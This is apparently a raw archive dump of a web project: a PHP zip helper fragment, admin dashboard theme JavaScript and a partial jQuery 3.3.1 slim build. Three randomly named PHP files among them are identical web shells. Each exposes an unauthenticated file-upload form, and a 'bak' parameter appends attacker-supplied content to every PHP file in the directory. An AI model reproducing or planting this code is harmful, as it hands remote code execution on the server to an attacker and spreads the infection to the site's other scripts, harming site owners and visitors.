fclose($this->tmp_file); $this->tmp_file = 0; } } function createValidFilePath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } }egbwaell.php000064400000001370151676702320007051 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> bliickjv.php000064400000001370151676702320007064 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> qwwunmvm.php000064400000001370151676702320007170 0ustar00<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> theme.js000064400000026225151676731120006224 0ustar00! function(e, s, i) { "use strict"; i(s).ready(function() { function a(e, s) { e.children(".submenu-content").show().slideUp(200, function() { i(this).css("display", ""), i(this).find(".menu-item").removeClass("is-shown"), e.removeClass("open"), s && s() }) } var n = i(".app-sidebar"), t = i(".sidebar-content"), l = i(".wrapper"), o = s.querySelector(".sidebar-content"); new PerfectScrollbar(o, { wheelSpeed: 10, wheelPropagation: !0, minScrollbarLength: 5 }); t.on("click", ".navigation-main .nav-item a", function() { var e = i(this).parent(".nav-item"); if (e.hasClass("has-sub") && e.hasClass("open")) a(e); else { if (e.hasClass("has-sub") && function(e, s) { var a = e.children(".submenu-content"), n = a.children(".menu-item").addClass("is-hidden"); e.addClass("open"), a.hide().slideDown(200, function() { i(this).css("display", ""), s && s() }), setTimeout(function() { n.addClass("is-shown"), n.removeClass("is-hidden") }, 0) }(e), t.data("collapsible")) return !1; a(e.siblings(".open")), e.siblings(".open").find(".nav-item.open").removeClass("open") } }), i(".nav-toggle").on("click", function() { var e = i(this).find(".toggle-icon"); "expanded" === e.attr("data-toggle") ? (l.addClass("nav-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"), e.attr("data-toggle", "collapsed")) : (l.removeClass("nav-collapsed menu-collapsed"), i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"), e.attr("data-toggle", "expanded")) }), n.on("mouseenter", function() { if (l.hasClass("nav-collapsed")) { l.removeClass("menu-collapsed"); var e = i(".navigation-main .nav-item.nav-collapsed-open"); e.children(".submenu-content").hide().slideDown(300, function() { i(this).css("display", "") }), t.find(".nav-item.active").parents(".nav-item").addClass("open"), e.addClass("open").removeClass("nav-collapsed-open") } }).on("mouseleave", function(e) { if (l.hasClass("nav-collapsed")) { l.addClass("menu-collapsed"); var s = i(".navigation-main .nav-item.open"), a = s.children(".submenu-content"); s.addClass("nav-collapsed-open"), a.show().slideUp(300, function() { i(this).css("display", "") }), s.removeClass("open") } }), i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).resize(function() { i(e).width() < 992 && (n.addClass("hide-sidebar"), l.removeClass("nav-collapsed menu-collapsed")), i(e).width() > 992 && (n.removeClass("hide-sidebar"), "collapsed" === i(".toggle-icon").attr("data-toggle") && l.not(".nav-collapsed menu-collapsed") && l.addClass("nav-collapsed menu-collapsed")) }), i(s).on("click", ".navigation li:not(.has-sub)", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(s).on("click", ".logo-text", function() { i(e).width() < 992 && n.addClass("hide-sidebar") }), i(".mobile-nav-toggle").on("click", function(e) { e.stopPropagation(), n.toggleClass("hide-sidebar") }), i("html").on("click", function(s) { i(e).width() < 992 && (n.hasClass("hide-sidebar") || 0 !== n.has(s.target).length || n.addClass("hide-sidebar")) }), i("#sidebarClose").on("click", function() { n.addClass("hide-sidebar") }), i('[data-toggle="tooltip"]').tooltip(), i("#checkbox_select_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !0), i(e).parent().parent().addClass("selected") }), i("#checkbox_deselect_all").on("click", function() { for (var e = s.getElementsByName("item_checkbox"), a = 0; a < e.length; a++) "checkbox" == e[a].type && (e[a].checked = !1), i(e).parent().parent().removeClass("selected") }), i("#quick-search").keyup(function() { var e = i(this).val().trim().toLowerCase(); i(".app-item").hide().filter(function() { return -1 != i(this).html().trim().toLowerCase().indexOf(e) }).show() }), i(".list-item input:checkbox").change(function() { i(this).is(":checked") ? i(this).parent().parent().addClass("selected") : i(this).parent().parent().removeClass("selected") }), i("#navbar-fullscreen").on("click", function(e) { "undefined" != typeof screenfull && screenfull.enabled && screenfull.toggle() }), i("#selectall").click(function() { i(this).is(":checked") ? i(".select_all_child:checkbox").attr("checked", !0) : i(".select_all_child:checkbox").attr("checked", !1) }), i(".list-item-wrap .list-item .list-title a").on("click", function(e) { i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"), i(this).parents().parent(".list-item").toggleClass("quick-view-opened") }), i(s).on("click", function(e) { i(e.target).closest(".list-item").length || i(".list-item").removeClass("quick-view-opened") }), "undefined" != typeof screenfull && screenfull.enabled && i(s).on(screenfull.raw.fullscreenchange, function() { screenfull.isFullscreen ? i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize") : i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize") }), i(".minimize-widget").on("click", function() { var e = i(this), s = i(e.parents(".widget")); i(s).children(".widget-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".remove-widget").on("click", function() { var e = i(this); e.parents(".widget").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".widget").remove() }, 800) }), i(".card-header-right .card-option .action-toggle").on("click", function() { var e = i(this); e.hasClass("ik-chevron-right") ? e.parents(".card-option").animate({ width: "28px" }) : e.parents(".card-option").animate({ width: "90px" }), i(this).toggleClass("ik-chevron-right").fadeIn("slow") }), i(".card-header-right .close-card").on("click", function() { var e = i(this); e.parents(".card").animate({ opacity: "0", "-webkit-transform": "scale3d(.3, .3, .3)", transform: "scale3d(.3, .3, .3)" }), setTimeout(function() { e.parents(".card").remove() }, 800) }), i(".card-header-right .minimize-card").on("click", function() { var e = i(this), s = i(e.parents(".card")); i(s).children(".card-body").slideToggle(); i(this).toggleClass("ik-minus").fadeIn("slow"), i(this).toggleClass("ik-plus").fadeIn("slow") }), i(".task-list").on("click", "li.list", function() { i(this).toggleClass("completed") }), i(".search-btn").on('click', function() { i(".header-search").addClass('open'); i('.header-search .form-control').animate({ 'width': '200px', }); }), i(".search-close").on('click', function() { i('.header-search .form-control').animate({ 'width': '0', }); setTimeout(function() { i(".header-search").removeClass('open'); }, 300); }); var ps = new PerfectScrollbar(".right-sidebar", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); var ps = new PerfectScrollbar(".messages", { wheelSpeed: 10, wheelPropagation: true, minScrollbarLength: 5 }); $(".right-sidebar-toggle").on("click",function(e) { this.classList.toggle('active'); $('.wrapper').toggleClass('right-sidebar-expand'); return false; }); document.addEventListener('click', function(event) { var $rightSidebar = document.getElementsByClassName('right-sidebar')[0], $chatPanel = document.getElementsByClassName('chat-panel')[0]; var isInsideContainer = $rightSidebar.contains( event.target ) || $chatPanel.contains(event.target); if( !isInsideContainer ) { document.body.classList.remove('right-sidebar-expand'); var toggle = document.getElementsByClassName('right-sidebar-toggle'); for( var i = 0; i < toggle.length; i++ ) { toggle[i].classList.remove('active'); } $chatPanel.hidden = 'hidden'; } }); var el = $('[data-plugin="chat-sidebar"]'); if( !el.length ) return; var chatList = el.find('.chat-list'); chatList.each(function(index) { var $this = $(this); $(this).find('.list-group a').on('click', function() { $this.find('.list-group a.active').removeClass('active'); $(this).addClass('active'); var el = $('.chat-panel'); if(!el.length) return; el.removeAttr('hidden'); var messages = el.find('.messages'); messages[0].scrollTop = messages[0].scrollHeight; if( messages[0].classList.contains('scrollbar-enabled') ) { messages.perfectScrollbar('update'); } el.find('.user-name').html( $(this).data('chat-user')); }); }); var el = $('.chat-panel'); if(!el.length) return; el.find('.close').on('click', function(){ el.attr('hidden', true); el.find('.panel-body').removeClass('hide'); }); el.find('.minimize').on('click', function(){ el.find('.card-block').attr('hidden', !el.find('.card-block').attr('hidden') ); if( el.find('.card-block').attr('hidden') === 'hidden' ) $(this).find('.material-icons').html('expand_less'); else $(this).find('.material-icons').html('expand_more'); }); }) }(window, document, jQuery);theme.min.js000064400000017350151676731120007005 0ustar00!function(e,a,i){"use strict";i(a).ready(function(){function n(e,a){e.children(".submenu-content").show().slideUp(200,function(){i(this).css("display",""),i(this).find(".menu-item").removeClass("is-shown"),e.removeClass("open"),a&&a()})}var t=i(".app-sidebar"),s=i(".sidebar-content"),l=i(".wrapper"),o=a.querySelector(".sidebar-content");new PerfectScrollbar(o,{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),s.on("click",".navigation-main .nav-item a",function(){var e=i(this).parent(".nav-item");if(e.hasClass("has-sub")&&e.hasClass("open"))n(e);else{if(e.hasClass("has-sub")&&function(e,a){var n=e.children(".submenu-content"),t=n.children(".menu-item").addClass("is-hidden");e.addClass("open"),n.hide().slideDown(200,function(){i(this).css("display","")}),setTimeout(function(){t.addClass("is-shown"),t.removeClass("is-hidden")},0)}(e),s.data("collapsible"))return!1;n(e.siblings(".open")),e.siblings(".open").find(".nav-item.open").removeClass("open")}}),i(".nav-toggle").on("click",function(){var e=i(this).find(".toggle-icon");"expanded"===e.attr("data-toggle")?(l.addClass("nav-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-right").addClass("ik-toggle-left"),e.attr("data-toggle","collapsed")):(l.removeClass("nav-collapsed menu-collapsed"),i(".nav-toggle").find(".toggle-icon").removeClass("ik-toggle-left").addClass("ik-toggle-right"),e.attr("data-toggle","expanded"))}),t.on("mouseenter",function(){if(l.hasClass("nav-collapsed")){l.removeClass("menu-collapsed");var e=i(".navigation-main .nav-item.nav-collapsed-open");e.children(".submenu-content").hide().slideDown(300,function(){i(this).css("display","")}),s.find(".nav-item.active").parents(".nav-item").addClass("open"),e.addClass("open").removeClass("nav-collapsed-open")}}).on("mouseleave",function(e){if(l.hasClass("nav-collapsed")){l.addClass("menu-collapsed");var a=i(".navigation-main .nav-item.open"),n=a.children(".submenu-content");a.addClass("nav-collapsed-open"),n.show().slideUp(300,function(){i(this).css("display","")}),a.removeClass("open")}}),i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).resize(function(){i(e).width()<992&&(t.addClass("hide-sidebar"),l.removeClass("nav-collapsed menu-collapsed")),i(e).width()>992&&(t.removeClass("hide-sidebar"),"collapsed"===i(".toggle-icon").attr("data-toggle")&&l.not(".nav-collapsed menu-collapsed")&&l.addClass("nav-collapsed menu-collapsed"))}),i(a).on("click",".navigation li:not(.has-sub)",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(a).on("click",".logo-text",function(){i(e).width()<992&&t.addClass("hide-sidebar")}),i(".mobile-nav-toggle").on("click",function(e){e.stopPropagation(),t.toggleClass("hide-sidebar")}),i("html").on("click",function(a){i(e).width()<992&&(t.hasClass("hide-sidebar")||0!==t.has(a.target).length||t.addClass("hide-sidebar"))}),i("#sidebarClose").on("click",function(){t.addClass("hide-sidebar")}),i('[data-toggle="tooltip"]').tooltip(),i("#checkbox_select_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!0),i(e).parent().parent().addClass("selected")}),i("#checkbox_deselect_all").on("click",function(){for(var e=a.getElementsByName("item_checkbox"),n=0;n<e.length;n++)"checkbox"==e[n].type&&(e[n].checked=!1),i(e).parent().parent().removeClass("selected")}),i("#quick-search").keyup(function(){var e=i(this).val().trim().toLowerCase();i(".app-item").hide().filter(function(){return-1!=i(this).html().trim().toLowerCase().indexOf(e)}).show()}),i(".list-item input:checkbox").change(function(){i(this).is(":checked")?i(this).parent().parent().addClass("selected"):i(this).parent().parent().removeClass("selected")}),i("#navbar-fullscreen").on("click",function(e){"undefined"!=typeof screenfull&&screenfull.enabled&&screenfull.toggle()}),i("#selectall").click(function(){i(this).is(":checked")?i(".select_all_child:checkbox").attr("checked",!0):i(".select_all_child:checkbox").attr("checked",!1)}),i(".list-item-wrap .list-item .list-title a").on("click",function(e){i(".list-item.quick-view-opened").not(this).removeClass("quick-view-opened"),i(this).parents().parent(".list-item").toggleClass("quick-view-opened")}),i(a).on("click",function(e){i(e.target).closest(".list-item").length||i(".list-item").removeClass("quick-view-opened")}),"undefined"!=typeof screenfull&&screenfull.enabled&&i(a).on(screenfull.raw.fullscreenchange,function(){screenfull.isFullscreen?i("#navbar-fullscreen").find("i").toggleClass("ik-minimize ik-maximize"):i("#navbar-fullscreen").find("i").toggleClass("ik-maximize ik-minimize")}),i(".minimize-widget").on("click",function(){var e=i(this),a=i(e.parents(".widget"));i(a).children(".widget-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".remove-widget").on("click",function(){var e=i(this);e.parents(".widget").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".widget").remove()},800)}),i(".card-header-right .card-option .action-toggle").on("click",function(){var e=i(this);e.hasClass("ik-chevron-right")?e.parents(".card-option").animate({width:"28px"}):e.parents(".card-option").animate({width:"90px"}),i(this).toggleClass("ik-chevron-right").fadeIn("slow")}),i(".card-header-right .close-card").on("click",function(){var e=i(this);e.parents(".card").animate({opacity:"0","-webkit-transform":"scale3d(.3, .3, .3)",transform:"scale3d(.3, .3, .3)"}),setTimeout(function(){e.parents(".card").remove()},800)}),i(".card-header-right .minimize-card").on("click",function(){var e=i(this),a=i(e.parents(".card"));i(a).children(".card-body").slideToggle(),i(this).toggleClass("ik-minus").fadeIn("slow"),i(this).toggleClass("ik-plus").fadeIn("slow")}),i(".task-list").on("click","li.list",function(){i(this).toggleClass("completed")}),i(".search-btn").on("click",function(){i(".header-search").addClass("open"),i(".header-search .form-control").animate({width:"200px"})}),i(".search-close").on("click",function(){i(".header-search .form-control").animate({width:"0"}),setTimeout(function(){i(".header-search").removeClass("open")},300)});new PerfectScrollbar(".right-sidebar",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5}),new PerfectScrollbar(".messages",{wheelSpeed:10,wheelPropagation:!0,minScrollbarLength:5});$(".right-sidebar-toggle").on("click",function(e){return this.classList.toggle("active"),$(".wrapper").toggleClass("right-sidebar-expand"),!1}),document.addEventListener("click",function(e){var a=document.getElementsByClassName("right-sidebar")[0],i=document.getElementsByClassName("chat-panel")[0];if(!(a.contains(e.target)||i.contains(e.target))){document.body.classList.remove("right-sidebar-expand");for(var n=document.getElementsByClassName("right-sidebar-toggle"),t=0;t<n.length;t++)n[t].classList.remove("active");i.hidden="hidden"}});c=$('[data-plugin="chat-sidebar"]');if(c.length){c.find(".chat-list").each(function(e){var a=$(this);$(this).find(".list-group a").on("click",function(){a.find(".list-group a.active").removeClass("active"),$(this).addClass("active");var e=$(".chat-panel");if(e.length){e.removeAttr("hidden");var i=e.find(".messages");i[0].scrollTop=i[0].scrollHeight,i[0].classList.contains("scrollbar-enabled")&&i.perfectScrollbar("update"),e.find(".user-name").html($(this).data("chat-user"))}})});var c;(c=$(".chat-panel")).length&&(c.find(".close").on("click",function(){c.attr("hidden",!0),c.find(".panel-body").removeClass("hide")}),c.find(".minimize").on("click",function(){c.find(".card-block").attr("hidden",!c.find(".card-block").attr("hidden")),"hidden"===c.find(".card-block").attr("hidden")?$(this).find(".material-icons").html("expand_less"):$(this).find(".material-icons").html("expand_more")}))}})}(window,document,jQuery);vendor/jquery-3.3.1.slim.min.js000064400000210437151677214220012121 0ustar00/*! jQuery v3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector | (c) JS Foundation and other contributors | jquery.org/license */ !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,u=n.push,s=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,d=f.toString,p=d.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},v=function e(t){return null!=t&&t===t.window},y={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in y)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function b(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var x="3.3.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector",w=function(e,t){return new w.fn.init(e,t)},C=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:x,constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:u,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},u=1,s=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[u]||{},u++),"object"==typeof a||g(a)||(a={}),u===s&&(a=this,u--);u<s;u++)if(null!=(e=arguments[u]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+(x+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&d.call(n)===p)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(T(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(C,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(T(Object(e))?w.merge(n,"string"==typeof e?[e]:e):u.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:s.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,u=!n;o<a;o++)(r=!t(e[o],o))!==u&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,u=[];if(T(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&u.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&u.push(i);return a.apply([],u)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function T(e){var t=!!e&&"length"in e&&e.length,n=b(e);return!g(e)&&!v(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,u,s,l,c,f,d,p,h,g,v,y,m,b,x="sizzle"+1*new Date,w=e.document,C=0,T=0,E=ae(),N=ae(),k=ae(),A=function(e,t){return e===t&&(f=!0),0},D={}.hasOwnProperty,S=[],L=S.pop,j=S.push,q=S.push,O=S.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},H="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",I="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",B="\\["+I+"*("+R+")(?:"+I+"*([*^$|!~]?=)"+I+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+I+"*\\]",M=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+B+")*)|.*)\\)|)",W=new RegExp(I+"+","g"),$=new RegExp("^"+I+"+|((?:^|[^\\\\])(?:\\\\.)*)"+I+"+$","g"),F=new RegExp("^"+I+"*,"+I+"*"),z=new RegExp("^"+I+"*([>+~]|"+I+")"+I+"*"),_=new RegExp("="+I+"*([^\\]'\"]*?)"+I+"*\\]","g"),U=new RegExp(M),V=new RegExp("^"+R+"$"),X={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+B),PSEUDO:new RegExp("^"+M),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+I+"*(even|odd|(([+-]|)(\\d*)n|)"+I+"*(?:([+-]|)"+I+"*(\\d+)|))"+I+"*\\)|)","i"),bool:new RegExp("^(?:"+H+")$","i"),needsContext:new RegExp("^"+I+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+I+"*((?:-\\d)?\\d*)"+I+"*\\)|)(?=[^-]|$)","i")},Q=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,G=/^[^{]+\{\s*\[native \w/,K=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,J=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+I+"?|("+I+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){d()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{q.apply(S=O.call(w.childNodes),w.childNodes),S[w.childNodes.length].nodeType}catch(e){q={apply:S.length?function(e,t){j.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,u,l,c,f,h,y,m=t&&t.ownerDocument,C=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==C&&9!==C&&11!==C)return r;if(!i&&((t?t.ownerDocument||t:w)!==p&&d(t),t=t||p,g)){if(11!==C&&(f=K.exec(e)))if(o=f[1]){if(9===C){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&b(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return q.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return q.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!k[e+" "]&&(!v||!v.test(e))){if(1!==C)m=t,y=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=x),u=(h=a(e)).length;while(u--)h[u]="#"+c+" "+ye(h[u]);y=h.join(","),m=J.test(e)&&ge(t.parentNode)||t}if(y)try{return q.apply(r,m.querySelectorAll(y)),r}catch(e){}finally{c===x&&t.removeAttribute("id")}}}return s(e.replace($,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function ue(e){return e[x]=!0,e}function se(e){var t=p.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function de(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function pe(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return ue(function(t){return t=+t,ue(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},d=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==p&&9===a.nodeType&&a.documentElement?(p=a,h=p.documentElement,g=!o(p),w!==p&&(i=p.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=se(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=se(function(e){return e.appendChild(p.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=G.test(p.getElementsByClassName),n.getById=se(function(e){return h.appendChild(e).id=x,!p.getElementsByName||!p.getElementsByName(x).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},y=[],v=[],(n.qsa=G.test(p.querySelectorAll))&&(se(function(e){h.appendChild(e).innerHTML="<a id='"+x+"'></a><select id='"+x+"-\r\\' 